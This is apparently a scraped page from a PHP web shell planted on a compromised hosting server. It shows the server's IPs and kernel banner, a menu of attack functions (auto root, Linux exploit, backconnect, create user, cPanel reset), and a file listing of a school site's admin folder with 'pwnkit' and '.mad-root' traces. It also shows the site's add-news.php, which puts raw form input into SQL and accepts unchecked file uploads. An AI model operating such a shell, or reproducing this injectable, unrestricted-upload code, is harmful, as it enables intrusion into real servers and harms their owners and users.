Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.17.155.142
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
amvm /
public_html /
chakbhaike /
myadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
bootstrap
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
cbse
[ DIR ]
drwxr-xr-x
dist
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
gallery
[ DIR ]
drwxr-xr-x
news-coverage
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
photo
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
slider
[ DIR ]
drwxr-xr-x
sym
[ DIR ]
drwxr-xr-x
tc
[ DIR ]
drwxr-xr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
Gruntfile.js
6.85
KB
-rwxr-xr-x
add-album.php
1.75
KB
-rwxr-xr-x
add-cbse-corner.php
2.18
KB
-rwxr-xr-x
add-fee.php
3.9
KB
-rwxr-xr-x
add-gallery.php
3.1
KB
-rwxr-xr-x
add-news.php
2.68
KB
-rwxr-xr-x
add-pages.php
2.17
KB
-rwxr-xr-x
add-pdf.php
2.19
KB
-rwxr-xr-x
add-slide.php
2.22
KB
-rwxr-xr-x
add-tc.php
2.43
KB
-rwxr-xr-x
album.php
3.98
KB
-rwxr-xr-x
cbse-corner.php
4.02
KB
-rwxr-xr-x
config.php
739
B
-rwxr-xr-x
error_log
4.81
KB
-rw-r--r--
fee.php
2.98
KB
-rwxr-xr-x
footer.php
8.81
KB
-rwxr-xr-x
gallery.php
4.1
KB
-rwxr-xr-x
header.php
9.47
KB
-rwxr-xr-x
index.php
3.93
KB
-rwxr-xr-x
log.php
1.15
KB
-rwxr-xr-x
login.php
5.74
KB
-rw-r--r--
logout.php
132
B
-rwxr-xr-x
news.php
4.29
KB
-rwxr-xr-x
pages.php
3.99
KB
-rwxr-xr-x
pdf.php
4.09
KB
-rwxr-xr-x
pwnkit
0
B
-rwxr-xr-x
register.php
3.09
KB
-rwxr-xr-x
slide.php
4.03
KB
-rwxr-xr-x
tc.php
4.04
KB
-rwxr-xr-x
update-fee.php
4.51
KB
-rwxr-xr-x
update-news.php
2.96
KB
-rwxr-xr-x
update-pages.php
2.78
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add-news.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Add News </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Add News</a></li> <li class="active">Add</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new news in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_POST['upload'])) { $title = $_POST['title']; $detail = $_POST['detail']; $ext = pathinfo ($_FILES['files']['name'], PATHINFO_EXTENSION); $image_name = date('h-i-s') .'_'. base64_encode($_FILES['files']['name']).'.'. $ext ; $target_dir = "photo/"; move_uploaded_file($_FILES['files']['tmp_name'],$target_dir .''. $image_name); $query = "INSERT INTO `news` (`id`, `title`, `detail`, `date_time`,`photo`) VALUES (NULL, '$title', '$detail', CURRENT_TIMESTAMP,'$image_name')"; $query_1 = mysqli_query($mysql_con,$query); if($query_1 > 0) { header('location: news.php'); } else{ echo "Something wrong, Please try again"; } } ?> <form method="Post" role="form" enctype="multipart/form-data" action=""> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">News Title</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" placeholder="Enter class"> </div> <div class="form-group"> <label for="exampleInputFile">Description</label> <textarea class="textarea" name="detail" placeholder="Place some text here" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"> </textarea> </div> <div class="form-group"> <label for="exampleInputFile">Choose Image</label> <input type="file" name="files" id="exampleInputFile"> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="upload" value="submit" class="btn btn-primary">Submit</button> </div> </form> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
Close